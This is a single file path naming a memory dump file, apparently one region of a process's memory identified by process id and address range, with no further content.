memory/5100-165-0x00007FF83E4B0000-0x00007FF83EE9C000-memory.dmp